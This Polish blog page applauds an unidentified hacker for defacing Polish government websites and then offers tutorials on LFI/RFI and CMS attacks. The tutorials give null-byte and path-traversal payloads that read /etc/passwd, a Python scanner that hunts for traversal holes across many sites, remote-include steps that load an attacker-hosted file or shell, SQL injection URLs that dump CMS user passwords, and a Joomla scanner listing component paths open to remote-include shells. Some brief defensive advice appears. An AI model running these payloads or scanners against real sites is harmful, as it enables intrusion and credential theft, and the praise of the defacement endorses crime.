Eurax

Chciałbym Zaznaczyć
Na swoim Blogu umieszczam nie tylko swoje artykuły.Przy innych publikacjach umieszczę źródło.

Nie wiem kto to zrobił , ale gratuluję...

Taki fragment zacytuję ze strony serwisu www.cyberterroryzm.eu.

Po tym jak we wtorek shakowana została witryna Ministerstwa Pracy i Polityki Społecznej, dnia dzisiejszego doszło do włamania na serwer utrzymujący witrynę Premiera RP.Redaktorów portalu cyberterroryzm.pl poinformował Czytelnik, pragnący zachować anonimowość, który na incydent [at] cyberterroryzm.pl przesłał informację o włamaniu oraz unikalne zrzuty ekranu przedstawiające jego narzędzia. Na stronach należących do KPRM znalazł się ponownie duży, tym razem inny kolorystycznie napis "HACKED". Czyżby początek końca?

Haker podmienił następujące witryny:

  • http://www.radalegislacyjna.gov.pl/
  • http://www.polonia.premier.gov.pl/
  • http://www.bz.premier.gov.pl/
  • http://www.dsc.kprm.gov.pl/
  • http://www.pzk.kprm.gov.pl/
  • http://www.budzetzadaniowy.gov.pl/
  • http://www.efs.kprm.gov.pl/

DI Problem w tym ,że już wcześniej Dziennik Internautów ( Bardzo trudna nazwa ) podawał o zdarzeniu - Zhackowano stronę Ministerstwa Pracy i Polityki Społecznej.

Oczywiście nic nie zrobiono bo i po co. Nic tam nie było , nie wyciekły dane . Nie dokonano kradzieży ... Ot taki mało szkodliwy żart - ale czy aby na pewno ? Ktoś chciał zwrócić uwagę na siebie ? Czy na większyhacka problem ? Co Ciekawe w galerii wyżej cytowanego dziennika jest zrzut ekranu na którym w powiększeniu autor piesze "nic nie ma do kobiet ..." Co to miało by oznaczać ? A to bo już miał zamiar dokonać włamu na stronę... Jaką ? Nikt jakoś tego nie przewidział ? Czy też nie sprawdził ?

Ciekawej analizy dokonali także redaktorzy serwisu cyberterroryzm.eu :

Przyjrzyjmy się bliżej serwerowi utrzymującemu serwisy internetowe Premiera RP. Na zrzucie ekranu przedstawionym poniżej widać, iż serwerem WWW utrzymującym strony jest Apache, wsparty PHP w wersji 4.4.7. Linux z jądrem systemu w wersji 2.6.9-1.667smp, który zainstalowano 2 listopada 2004 roku. Rozwoju PHP serii 4.* zaprzestano 31 grudnia 2007 roku i od tamtego czasu, rozwijana i zabezpieczana jest tylko seria 5.*. 3 stycznia wydano ostatnią wersję tej serii w wersji 4.4.8. Najnowszym jądrem systemu Linux serii 2.6* jest 2.6.25 z dnia 17 kwietnia 2008 roku. Czy te cztery lata różnicy w rozwoju oprogramowania Apache i wynajdowania w nim setek luk bezpieczeństwa nie wydaje się administratorom istotny?

Cytowane zrzuty ekranu można zobaczyć ( źródło - cyberterroryzm.eu ) :

Dodam od siebie tylko tyle:

Nieszczęściem naszego Rządu jest to ,że ma takich "szefów bezpieczeństwa " , a szczęściem jest to ,że nic o tym nie wie.

Co ciekawe ,jaki jest zaskoczony Pan Policjant ( źródło DI ) :

Oficer prasowy Komendy Głównej Policji Zbigniew Urbański powiedział IAR, że jest zdziwiony tym, że osoby atakujące wybierają na swój cel akurat strony rządowe. Jak wyjaśnił - grozi za to najwyższa możliwa kara związana z przestępstwami internetowymi - do ośmiu lat więzienia.

A ja zapytam czy On widział treść umieszczoną na "shakowanej" stronie Ministerstwa Pracy i Polityki Społecznej ? Co tam jest - to ,że Haker ( z dużej litery ) pisze ( mój skrót ) ,że on w imieniu 2 milionów ludzi ,którzy musieli wyjechać z Polski dziękuje ...

Tu był prawdziwy zamysł człowieka , który dokonał "włamania" na strony cytowanego Ministerstwa.

Oczywiście media dokonają interpretacji tego wyczynu po swojemu pomijając Ten tekst jako mało istotny.

Już można przeczytać ( źródło DI ) :

W tej chwili nie można z całą pewnością powiedzieć, czy ataku dokonała ta sama osoba, która dwa dni temu zostawiła informację o zhackowaniu na stronie ministerstwa Pracy i Polityki Społecznej. Informacja pozostawiona na stronie KPRM wyraźnie jednak na to wskazuje.

Czy aby na pewno ? Wcale się nie dziwię temu człowiekowi ,że właśnie taki tekst tam umieścił. Nikt z młodych Polaków ( nie tylko programistów ) nie wyobraża siebie w następujący sposób:

Coder

Dlatego powiem ponownie - nie wiem kto to zrobił ,ale gratuluję.


Testy Odporności WWW Na Ataki LFI,RFI.

Atak LFI lub RFI są niebezpieczne nie tylko dla stron ale całych serwerów. Skutecznie przeprowadzony atak typu LFI lub RFI powoduje wyświetlenie na stronie pliku, do którego zwykły użytkownik nie powinien mieć dostępu – na przykład plik z hasłami. Błędu tego nie widać w źródle ( strony ), gdyż jest on błędem w kodzie php.

Są to błędy wynikający z nieprzemyślanego zastosowania funkcji fread(), file(), get_content(), lub include().

Przykład:


$file = $_GET[‘website’];

if(file_exist($file))

{
$pokaz = fread(fopen($file, “r”), filesize($file));

echo $pokaz;

}
else echo “Błąd 404″;

?>

Czym się różnią oba te ataki? Chodź brzmią podobnie poprzez błąd LFI możemy „inkludować” dowolny plik na lokalnym serwerze, a przy błędzie RFI z innego serwera. Poniżej opisałem oba te ataki najprościej i najjaśniej jak to tylko było możliwe.
Local File Include - czyli „inkludowanie” (włączanie) dowolnego pliku na lokalnym serwerze. Pozwala przypisać zmienne w funkcjach:

  • include()
  • require()
  • require_ once()
  • include_ once()


Testy podatności strony ( serwisu ) na ataki LFI , RFI

Klikamy na jedną ze stron ( TESTOWYCH – testowanych ) i sprawdzamy czy jest ona podatna na błąd LFI wpisując w zmienną na przykład:

/etc/passwd

Będzie to wyglądać tak:

http://www.strona.com/id=/etc/passwd

W kodzie php będzie to wyglądać tak:

Widzimy tutaj znaczący błąd, ponieważ nie istnieje taki plik passwd.php więc trzeba się pozbyć tego rozszerzenia jakim jest php. Oczywiście jest na to sposób. Nazywamy to atakiem Poison Null Byte, czyli atak z użyciem bajtu zerowego. W php bajt zerowy wygląda tak: . Jest to bajt oznaczający koniec stringu, czyli ciągu znakowego. Wszystko co występuje po nim jest ignorowane przez php. Więc jeśli chcemy uciąć rozszerzenie php wystarczy po passwd dodać bajt zerowy:

http://www.strona.com/id=/etc/passwd

Jednak niektóre strony są przed tym zabezpieczone - %0 zamienia nam na / w wyniku czego powstaje coś takiego ( w kodzie php):

Dzieje się to dlatego, że %0 w tablicy . Jednak i na to jest sposób. Bądźmy sprytniejsi. Znając znaki tej tablicy zamiast napiszemy %2500, ponieważ %25 oznacza po prostu %.

Czyli:

http://www.strona.com/id=/etc/passwd%2500

Jeśli porządany plik nie wyświetlił się nam to poruszamy się w głąb serwera dodając: /..Jest to znak cofnięcia do poprzedniego katalogu. Będzie to wyglądać tak:

http://www.strona.com/id=/../etc/passwd

Natomiast w kodzie php będzie to wyglądać tak:

Jeśli nic nam się nie wyświetliło to próbujemy dalej dodając wyżej podany znak i tak aż do skutku – lub stwierdzimy ,że testowany serwis jest odporny na ataki LFI , RFI.
"Ręczne szukanie” błędu LFI jest bardzo uciążliwe ale można je zautomatyzować pisząc w Pytonie ( w moim przypadku ) program , który sprawdzi czy podana strona ( serwis ) jest podatny na taki atak.

Przykład programu testującego podatność serwisu na ataki LFI , RFI.


#!/usr/bin/python

import sys, httplib, time, socket, sets, urllib2, re

def main(host):

print "\n","-"*55
print "\n[+] Target host:",host

okresp = tester("/")[:1]
badresp,reason,server = tester("/hera9.html")

host = getindex(okresp[0])

if okresp[0] == badresp:
print "\n[-] Responses matched, try another host.\n"
else:
print "[+] Target server:",server
print "[+] Target OK response:",okresp[0]
print "[+] Target BAD response:",badresp, reason
print "[+] Scan Started at",timer()
time.sleep(2)

print "[+] Gathering Fields:",host

try:
names, actions, var = getvar()
print "[+] Variables:",len(var),"| Actions:",len(actions),"| Fields:",len(names)
print "[+] Avg Requests:",(len(var)+len(names)+(len(actions)*len(names))+(len(actions)*len(names)))
paths = getpaths(var, names, actions)
print "[+] Paths Found:",len(paths),"\n"
for path in paths:
for x in xrange(path.count("../")-2):
code, reason = tester(path.replace('../',"",x+1))[:2]
if code == okresp[0]:
print "\n\t[+]",code,reason,":",path.split("/",1)[1].replace('../',"",x+1),"\n"
except(TypeError):
print "[-] Couldn't find enough fields.\n"
pass

def tester(path):

try:# make a http HEAD request
h = httplib.HTTP(host.split("/",1)[0], int(port))
h.putrequest("GET", "/"+path.split("/",1)[1])
h.putheader("Host", host.split("/",1)[0])
h.endheaders()
status, reason, headers = h.getreply()
if verbose == 1:
print "[+]",status,reason,":","/"+path.split("/",1)[1]
return status, reason, headers.get("Server")
except(), msg:
print "[-] Error Occurred\n",msg
sys.exit(1)

def timer():
now = time.localtime(time.time())
return time.asctime(now)

def getindex(okresp):
#Try and get index page if not posted.
if re.search("index", host) == None:
code = tester("/index.php")[:1]
if code[0] == okresp:
return host+"/index.php"
else:
code = tester("/index.html")[:1]
if code[0] == okresp:
return host+"/index.html"

def getpaths(var, names, actions):
print "[+] Creating Paths...\n"

if len(var) >= 1:
for v in var:
if host.count("/") >= 2:
for x in xrange(host.count("/")):
paths.append(host.rsplit('/',x+1)[0]+"/"+v+lfi+null)
paths.append(host+"/"+v+lfi+null)

if len(names) >= 1:
for n in names:
if host.count("/") >= 2:
for x in xrange(host.count("/")):
paths.append(host.rsplit('/',x+1)[0]+"/"+"?"+n+"="+lfi+null)
paths.append(host+"/"+"?"+n+"="+lfi+null)

if len(actions) != 0 and len(names) >= 1:
for a in actions:
for n in names:
if host.count("/") >= 2:
for x in xrange(host.count("/")):
paths.append(host.rsplit('/',x+1)[0]+a+"?"+n+"="+lfi+null)
#paths.append(host.split("/")[0]+a+"?"+n+"="+lfi+null)

if len(actions) != 0 and len(var) >= 1:
for a in actions:
for v in var:
if host.count("/") >= 2:
for x in xrange(host.count("/")):
paths.append(host.rsplit('/',x+1)[0]+a+v+lfi+null)
else:
paths.append(host.split("/")[0]+a+v+lfi+null)
return paths

def getvar():

names = []
actions = []

try:
webpage = urllib2.urlopen("http://"+host, port).read()
var = re.findall("\?[\w\.\-/]*\=",webpage)
if len(var) >=1:
var = list(sets.Set(var))
found_action = re.findall("action=\"[\w\.\-/]*\"", webpage.lower())
found_action = list(sets.Set(found_action))
if len(found_action) >= 1:
for a in found_action:
a = a.split('"',2)[1]
try:
if a[0] != "/":
a = "/"+a
except(IndexError):
pass
actions.append(a)
found_names = re.findall("name=\"[\w\.\-/]*\"", webpage.lower())
found_names = list(sets.Set(found_names))
for n in found_names:
names.append(n.split('"',2)[1])
return names, actions, var
except(socket.timeout, IOError, ValueError, socket.error, socket.gaierror, httplib.BadStatusLine):
pass
except(KeyboardInterrupt):
print "\n[-] Cancelled -",timer(),"\n"
sys.exit(1)

print "\n\t LFI Tester "
print "\t----------------------------------------------"

if len(sys.argv) <> 7:
print "\nUsage: ./lfitest.py \n"
print "Ex. ./lfitest.py -h www.mysite.com -p 80 -null -v"
print "Ex. ./lfitest.py -list sites.txt -p 80 -v\n"
print "\t[options]"
print "\t -h/-host : Host to scan"
print "\t -p/-port : Port to use (defaults: 80)"
print "\t -l/-list : List of sites to scan through"
print "\t -n/-null : Adds a null byte onto the end of the inclusion"
print "\t -v/-verbose : Shows every lfi attempt\n"
sys.exit(1)

paths = []
lfi = "../../../../../../../etc/passwd"
socket.setdefaulttimeout(25)

for arg in sys.argv[1:]:
if arg.lower() == "-h" or arg.lower() == "-host":
host = sys.argv[int(sys.argv[1:].index(arg))+2]
if arg.lower() == "-p" or arg.lower() == "-port":
port = sys.argv[int(sys.argv[1:].index(arg))+2]
if arg.lower() == "-l" or arg.lower() == "-list":
sites = open(sys.argv[int(sys.argv[1:].index(arg))+2], "r").readlines()
if arg.lower() == "-v" or arg.lower() == "-verbose":
verbose = 1
if arg.lower() == "-n" or arg.lower() == "-null":
null = ""
try:
if verbose ==1:
print "\n[+] Verbose Mode On"
except(NameError):
print "\n[-] Verbose Mode Off"
verbose = 0
try:
if null:
print "[+] Null Byte On"
except(NameError):
print "[-] Null Byte Off"
null = ""
try:
if port:
print "[+] Target port:",port
except(NameError):
port = "80"
print "[+] Target port:",port
try:
if sites:
print "\n[+] Loaded:",len(sites),"sites"
for host in sites:
host = host[:-1]
if host[:7] == "http://":
host = host.replace("http://","")
if host[-1] == "/":
host = host[:-1]
main(host)
except(NameError):
if host[:7] == "http://":
host = host.replace("http://","")
if host[-1] == "/":
host = host[:-1]
main(host)
print "\n[-] Scan completed at",timer(),"\n"


Remote File Include – czyli „inkludowanie” (włączanie) pliku z innego serwera. To jest ta różnica, która odróżnia błąd LFI od RFI. W LFI szukaliśmy pliku, który istniał na serwerze ofiary, a w RFI będziemy podawać ścieżkę do pliku (na przykład na naszym serwerze), który może nieźle namieszać u naszej ofiary. RFI również pozwala przypisać zmienne w funkcjach takich jak w LFI.

Postępujemy podobnie, jednak zamiast /etc/passwd wpisujemy pełną ścieżkę dostępu do naszego pliku (w tym przypadku będzie to kod php, który umożliwia listowanie zawartości katalogów), który mieści się na naszym serwerze. link to tego pliku to w moim przypadku:

http://www.moj_serwer.pl/katalogi.txt

Więc do naszej zmiennej (np: id) wpisujemy adres naszego kodu:

http://www.strona.com/id=http://www.moj_serwer.pl/katalogi.txt?

Naszym oczom okazuje się lista katalogów. Oczywiście jest masa możliwości nie musi to być listowanie katalogów. Również dobrym sposobem jest wgranie shella, albo innej niespodzianki.

Jak się przed tym zabezpieczyć? W dość łatwy sposób. Wystarczy wyłączyć możliwość otwierania zdalnych plików przez funkcje:

  • fopen()
  • readfile()
  • include()

Bezpieczeństwo CMS

Wiele napisano już o bezpieczeństwie Systemów Zarządzania Treścią ( dalej CMS ) . W wyszukiwarce Google odnalazłem 330 000 linków zawierających hasło "Bezpieczeństwo CMS".

Google

Dla przypomnienia tylko - CMS (Content Management System) to skrót, który ostatnio na dobre zadomowił się w wielu językach. W dosłownym tłumaczeniu oznacza system zarządzania treścią stron publikowanych w internecie. Skrót cms stał się tak popularny, ponieważ technologia która za nim stoi wnosi bardzo dużo do sposobu zarządzania stronami internetowymi - zarządzania informacjami oraz sposobem ich wizualizacji.

Popularność tych systemów jest oparta na tym ,że są "za darmo" - ale bądzmy realistami.W normalnym, realnym świecie utarło się, że jeśli coś jest za darmo, prawdopodobnie nie przedstawia dużej wartości. Generalnie mało jest rzeczy w realnym świecie które możemy dostać za darmo, nie mówiąc już o rzeczach wartościowych. Jednocześnie naszym podobnym skrótem myślowym jest, że jeśli coś kosztuje dużo to musi być dobre.Świat Internetu rządzi się trochę innymi prawami niż świat realny, i tutaj "darmowy" wcale nie oznacza do niczego, a wręcz przeciwnie. W sieci można znaleźć bardzo wiele różnego rodzaju aplikacji, które za darmo potrafią zrobić naprawdę bardzo wiele rzeczy.Ale nikt do końca może nie zdaje sobie sprawy ile niebezpieczeństw niesie ze sobą takie "darmowe oprogramowanie" w szczególności systemy CMS.Zacytuje tutaj "10 podstawowych błędów związanych z instalacja oraz administracją systemów CMS" tekst ten kiedyś , "krążył" w środowisku programistów oraz użytkowników systemu CMS Joomla.

  • Wybierz najtańszego z możliwych dostawców hostingu, utrzymującego na swoich serwerach tysiące stron WWW, z których największy ruch generują serwisy porno.
  • Nie trać czasu na wykonywanie regularnych kopii zapasowych. Może administrator Twego serwera hostingowego kiedyś Ci pomoże.
  • Nie zawracaj sobie głowy dostrajaniem swojego CMS'a i PHP pod kątem bezpieczeństwa. Przecież instalacja była debilnie prosta! Jak reszta mogłaby być zła? Martw sie o szczegóły jedynie wtedy, jak wystąpi jakiś problem.
  • Używaj tego samego loginu i hasła do Twego konta w eBanku, do Panelu Administratora CMS'a, konta w sklepie internetowym, konta poczty elektronicznej itp. Hej, a kto ma czas spamiętać tyle haseł? Jakkolwiek by nie było, odkąd przestałeś zmieniać hasła o ileż łatwiejsze jest używanie tych samych danych zawsze i wszędzie.
  • Zainstaluj swój nowy, śliczny oparty o wybrany CMS serwis. Świętuj dobrze wykonaną robotę i przestań się martwić o cokolwiek. A już po wszystkim, skoro nie robisz innych zmian, to co może pójść nie tak? (Podpowiedź: bardzo dużo).
  • Rób wszystkie aktualizacje i poprawki na serwerze "produkcyjnym", na żyjącym serwisie. Kto by tam potrzebował osobnego miejsca na testowanie i rozwój aplikacji? Jeśli jakaś instalacja się nie powiedzie - po prostu odinstaluj niedziałający składnik w nadziei ze wszystko wróci do normy.
  • Ufaj wszystkim rozszerzeniom pisanym przez firmy czy osoby trzecie i instaluj wszystkie wypasione wodotryski, jakie tylko znajdziesz w sieci. Ktoś był wystarczająco inteligentny, żeby napisać rozszerzenie do Joomli i na pewno stworzony przez niego kod jest na tyle perfekcyjny, że będzie blokować wszystkie próby exploitów teraz i na wieki. W końcu wszystkie te dodatki są utrzymywane za darmo przez wielkodusznych wolontariuszy o dobrych sercach, którzy na bank wiedzą co robią.
  • Nie trać czasu na aktualizację twojego CMS'a do najnowszej wersji. Przecież póki co wszystko gra! Tak czy siak - za dużo byłoby z tym roboty.
  • Kiedy haker zaatakuje Twój serwis, zacznij siać panikę na forach dyskusyjnych i załóż nowy wątek z nikomu nieznanym tytułem "Pomocy! Hakerzy włamali mi się na stronę Co robić!?". Bądź pewien, że nie podałeś , której to przestarzałej wersji Joomla oraz innych składników używasz.
  • Kiedy Twój serwis padnie ofiarą hakerów, skasuj wszystkie podmienione przez nich pliki i udawaj że już wszystko jest jak dawniej. Nie przeglądaj logów, nie zmieniaj haseł, nie kasuj zawartości swego serwisu w celu przywrócenia go ze sprawdzonej kopii zapasowej, nie wykonuj żadnych innych paranoidalnie przesadnych akcji. Kiedy napastnik wróci do Ciebie następnego dnia krzycz głośno "Znów hakerzy zepsuli mi stronę!" i że to wszystko wina twórców twego CMS'a. Zignoruj fakt, że usunięcie podmienionych plików to nawet nie jest pierwszy krok w złożonym procesie przywrócenia zaatakowanego serwisu do stanu pełnej używalności.

Zaznaczyłem celowo innym kolorem dwa podpunkty , które mówią o bezpieczeństwie naszego systemu:

Ufaj wszystkim rozszerzeniom pisanym przez firmy czy osoby trzecie i instaluj wszystkie wypasione wodotryski, jakie tylko znajdziesz w sieci. Ktoś był wystarczająco inteligentny, żeby napisać rozszerzenie do Joomli i na pewno stworzony przez niego kod jest na tyle perfekcyjny, że będzie blokować wszystkie próby exploitów teraz i na wieki. W końcu wszystkie te dodatki są utrzymywane za darmo przez wielkodusznych wolontariuszy o dobrych sercach, którzy na bank wiedzą co robią.

Jeśli chcemy korzystać z wielu różnych funkcjonalności systemu, jesteśmy zmuszeni do doinstalowania do jądra dodatkowe moduły. Nie możemy być 100% pewni, że moduły które instalujemy pozbawione są błędów - zamierzonych lub niezamierzonych. Moduły pisane są przez osoby o różnym poziomie wiedzy. Często mimo najlepszych chęci w modułach znajdują się błędy, które zostają wykryte często dopiero w momencie, kiedy do któregoś serwisu dostaną się hakerzy.

Oczywiście po wykryciu dziury przez któregoś z użytkowników portalu informacja ta bardzo szybko trafia na forum, gdzie od razu grupa programistów poprawia dany moduł, przygotowując odpowiednią poprawkę, którą wystarczy zainstalować w swoim systemie by móc spać spokojnie.Ale też hakerzy czytają fora i o tym też należy pamiętać.

W przypadku systemów open source nie znamy intencji osób piszących moduły, które celowo mogą pozostawiać sobie furtki. Należy tutaj pamiętać, że jeśli na stronie zbieramy jakiekolwiek dane o użytkownikach – imię i nazwisko, adres czy nawet sam e-mail – odpowiadamy prawnie za ich bezpieczne przechowywanie. Jeśli do naszego serwisu włamie się haker i wykradnie naszą bazę mailingową i ta informacja dotrze do właściciela maila – może on dochodzić swoich praw zgodnie z ustawą o ochronie danych osobowych. Jest to przestroga dla tych wszystkich, którzy prowadzą sklepy internetowe w oparciu o systemy open source i przechowują w swojej bazie dane klientów.

Problemem bezpieczeństwa systemów open source jest "otwartość" kodu źródłowego. W praktyce oznacza to, że każdy ma dostęp kodu aplikacji. W aplikacji napisanej do celów komercyjnych. kod jest strzeżoną tajemnicą właściciela. Kod programu dostępny jest tylko wąskiej grupie programistów – pracowników firmy, którzy często zobowiązani są do podpisania klauzuli o poufności informacji, łącznie z odpowiedzialnością finansową a nawet karną.

Osobiście testowałem nie dawno portal oparty o jeden z bardziej znanych systemów CMS ( nie będę wymieniał jaki ) i doszedłem do wniosku ,że sam system CMS "pusty" bez dodatkowych modułów jest bardzo bezpieczny. No ale jak każdy dobry portal , system taki musi posiadać pewne funkcjonalności , które są realizowane przez dodanie odpowiednich modułów. Moduły zostały zainstalowane - ale trzeba było dokonać "spolszczenia" czyli stworzyć polskie wersje językowe. Podczas "tłumaczenia" znalazłem błędy w sztuce "zabezpieczeń" jakie popełniali autorzy tych modułów. Dla przykładu podam w jaki sposób zaatakować system techniką wstrzykiwania, doklejania dodatkowego zapytania SQL:

  • modules/articles/print.php?id=3/**/UNION/**/SELECT/**/NULL,NULL,NULL,NULL,uid,uname,

pass,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL/**/FROM/**/

CMS_users/**/LIMIT/**/1,1/*"

  • modules/articles/index.php?cat_id=-1%20union%20select%201,

concat(char(117,115,101,114,110,97,109,101,58)

uname,char(112,97,115,115,119,111,114,100,58),pass),3,4%20from%20CMS_users%20

where%20uid%20like%201/*

Wyników tak spreparowanego zapytania SQL nie będę komentował , powiem tylko tyle ,że przypadku wyżej wymienionych, tak spreparowanych "pleceń", pojawiają się dane użytkowników. Oczywiście jeżeli dodatkowo nasz serwer na którym zainstalowano portal z takim modułem posiada taką "funkcjonalność" jak "pokaż wszystkie błędy" to już jest cudowne miejsce do nauki SQL'a i nie tylko.

W nowo tworzonym portalu znalazłem aż 32 ( !!! ) "luki" - to też pozostawię bez komentarza. Oczywiście wszystkie "luki" zgłosiłem na oficjalnej Polskiej strony tegoż CMS'a . Oczywiście wychwycone błędy dotyczyły tylko modułów dodatkowo zainstalowanych w systemie , sam system , no cóż może za mało "czytałem kod" ???

Pokusiłem się aby sprawdzić czy inne portale oparte o "mój" CMS ( z zainstalowanymi modułami - tak jak w moim przypadku ) posiadają te same "dziury" ?

Jeżeli już znalazłem takie portale to w "ciemno" nie sprawdzałem czy "felerne" moduły są tam zainstalowane użyłem do tego Pythona ( potęga Pythona nie zna granic ) . Dla "zmylenia" poniżej podam tylko w jaki sposób dowiedzieć się czy system CMS Joomla posiada pewne ( interesujące mnie moduły ):


import sys, re, httplib, time, socket
def main(path):
try:
if proxy != 0:
h.putrequest("GET", "http://"+host+"/"+path)
else:
h.putrequest("HEAD", path)
h.putheader("Host", host)
h.endheaders()
status, reason, headers = h.getreply()
return status, reason
except(), msg:
print "Error Occurred:",msg
pass

def timer():
now = time.localtime(time.time())
return time.asctime(now)

if len(sys.argv) <> 5:
print "\nUsage: ./joomlascan.py "
print "\t[options]"
print "\t -p/-proxy : Add proxy support"
print "\t -404 : Won't show 404 responses"
print "Ex: ./test_joomla.py www.test.com -404 -proxy 127.0.0.1:8080\n"
sys.exit(1)

for arg in sys.argv[1:]:
if arg.lower() == "-p" or arg.lower() == "-proxy":
proxy = sys.argv[int(sys.argv[1:].index(arg))+2]
if arg.lower() == "-404":
show = 404

try:
if proxy:
print "\n[+] Testing Proxy..."
h2 = httplib.HTTPConnection(proxy)
h2.connect()
print "[+] Proxy:",proxy
except(socket.timeout):
print "\n[-] Proxy Timed Out"
proxy = 0
pass
except(NameError):
print "\n[-] Proxy Not Given"
proxy = 0
pass
except:
print "\n[-] Proxy Failed"
proxy = 0
pass

paths = {"components/com_flyspray/startdown.php" : "startdown.php?file=shell",
"administrator/components/com_admin/admin.admin.html.php" :
"admin.admin.html.php?mosConfig_absolute_path=shell",
"components/com_simpleboard/file_upload.php" : "file_upload.php?sbp=shell",
"components/com_htmlarea3_xtd-c/popups/ImageManager/config.inc.php" :
"config.inc.php?mosConfig_absolute_path=shell",
"components/com_sitemap/sitemap.xml.php" : "sitemap.xml.php?mosConfig_absolute_path=shell ",
"administrator/components/com_remository/admin.remository.php" :
"admin.remository.php?mosConfig_absolute_path=shell",
"administrator/components/com_babackup/classes/Tar.php" :
"Tar.php?mosConfig_absolute_path=shell",
"administrator/components/com_lurm_constructor/admin.lurm_constructor.php" :
"admin.lurm_constructor.php?lm_absolute_path=shell",
"components/com_mambowiki/MamboLogin.php" : "MamboLogin.php?IP=shell",
"components/com_jd-wiki/lib/tpl/default/main.php" : "main.php?mosConfig_absolute_path=shell",
"com_joomla_flash_uploader/install.joomla_flash_uploader.php" : "com_joomla_flash_uploader/
install.joomla_flash_uploader.php?mosConfig_absolute_path=shell",
"com_joomla_flash_uploader/uninstall.joomla_flash_uploader.php" : "com_joomla_flash_uploader/
uninstall.joomla_flash_uploader.php?mosConfig_absolute_path=shell",
"administrator/components/com_jjgallery/admin.jjgallery.php" : "administrator/
components/com_jjgallery/admin.jjgallery.php?mosConfig_absolute_path=shell",
"administrator/components/com_juser/xajax_functions.php" : "administrator/components/com_juser/
xajax_functions.php?mosConfig_absolute_path=shell",
"components/com_jreviews/scripts/xajax.inc.php" : "components/com_jreviews/scripts/
xajax.inc.php?mosConfig_absolute_path=shell",
"com_directory/modules/mod_pxt_latest.php" : "com_directory/modules/
mod_pxt_latest.php?GLOBALS[mosConfig_absolute_path]=shell",
"administrator/components/com_joomla_flash_uploader/
install.joomla_flash_uploader.php" : "administrator/
components/com_joomla_flash_uploader/
install.joomla_flash_uploader.php?mosConfig_absolute_path=shell",
"administrator/components/com_chronocontact/
excelwriter/PPS/File.php" : "administrator/components/
com_chronocontact/excelwriter/PPS/File.php?mosConfig_absolute_path=shell",
"administrator/components/com_chronocontact/excelwriter/Writer.php" :
"administrator/components/
com_chronocontact/excelwriter/Writer.php?mosConfig_absolute_path=shell",
"administrator/components/com_chronocontact/excelwriter/PPS.php" :
"administrator/components/
com_chronocontact/excelwriter/PPS.php?mosConfig_absolute_path=shell",
"administrator/components/com_chronocontact/excelwriter/Writer/BIFFwriter.php" :
"administrator/components/
com_chronocontact/excelwriter/Writer/BIFFwriter.php?mosConfig_absolute_path=shell",
"administrator/components/com_chronocontact/excelwriter/Writer/Workbook.php" :
"administrator/components/
com_chronocontact/excelwriter/Writer/Workbook.php?mosConfig_absolute_path=shell",
"administrator/components/com_chronocontact/excelwriter/Writer/Worksheet.php" :
"administrator/components/
com_chronocontact/excelwriter/Writer/Worksheet.php?mosConfig_absolute_path=shell",
"administrator/components/com_chronocontact/excelwriter/Writer/Format.php" :
"administrator/components/
com_chronocontact/excelwriter/Writer/Format.php?mosConfig_absolute_path=shell"}

host = sys.argv[1]
print "[+] Target:",host
try:
if show == 404:
print "[+] 404 Block On\n"
except(NameError):
print "[-] 404 Block Off\n"
show = 0
pass
print "[+] Loaded:",len(paths),"paths"
host = host.replace("http://","")
if host.count("/") >= 2:
j_path = host.split("/",1)[1].replace("index.php","")
host = host.split("/",1)[0]
else:
if host[-1:] == "/":
host = host[:-1]
j_path = ""

if j_path[-1:] != "/":
j_path = j_path+"/"

print "[+] Started:",timer()
print "[+] Scanning..."
time.sleep(3)

if proxy != 0:
h = httplib.HTTP(proxy)
else:
h = httplib.HTTP(host)

for path, shell in paths.items():
print "\n[+] Trying:",j_path+path
try:
response, reason = main(j_path+path)
if show != 404:
print "[+] Got:",response, reason
print "[+] Shell:",shell
else:
if response != 404:
print "[+] Got:",response, reason
print "[+] Shell:",shell

except(AttributeError, TypeError, socket.error):
pass
except(KeyboardInterrupt):
pass
print "\n[-] Done:",timer(),"\n"